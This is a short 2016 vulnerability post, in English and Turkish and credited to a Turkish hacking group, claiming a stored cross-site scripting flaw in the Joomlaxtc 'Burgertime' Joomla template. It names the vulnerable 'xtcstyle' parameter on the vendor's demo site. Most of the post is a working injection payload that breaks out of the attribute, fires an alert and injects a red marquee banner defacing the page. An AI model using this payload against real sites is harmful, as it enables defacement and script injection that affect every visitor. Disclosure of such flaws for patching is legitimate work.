# Application Name : Joomlaxtc Template Burgertime Cross Site Scripting Stored Vulnerability # Vulnerable Type : Cross Site Scripting Stored # Vendor Homepage : http://www.joomlaxtc.com # Author : Turkhackteam.org | Bug Researchers | €r@y # Tested on Demo Site : http://demo.joomlaxtc.com/burgertime/ # Author Contact : http://www.turkhackteam.org/members/745069.html # Date : 20.06.2016 # Explanation ( Açıklama ) Joomlaxtc.com sitesinde yayınlanan, joomla sitelere ait templatede bulunan, "Cross Site Scripting" zafiyeti demo site üzerinde tespit edilmiştir. Zafiyet aşağıda verilmiş script kodunun, http://demo.joomlaxtc.com/burgertime/?xtcstyle= parametresine eklenerek, http://demo.joomlaxtc.com/burgertime/ sayfasında alert verdiğini görüyoruz. Yani siteye giren her kullanıcı bu zafiyetten etkilenmektedir. Sitenin herhangi bir sayfasına tıklandığında, alert verecektir. Bu da açığın, "XSS Stored" olduğunu göstermektedir. ############################################################# < ----------------- Bug code start -------------------- > ">**********alert("Cross-Site-Scripting%20Bug%20Researchers%20Turkhackteam.org%20/%20€r@y");</script><marquee><font%20size="4"%20color="red"%20face="Candice"%20><big><i>Cross-Site-Scripting%20Bug%20Researchers%20Turkhackteam.org%20/%20€r@y</i></big></font></marquee> <------------------ Bug code end of ------------------- >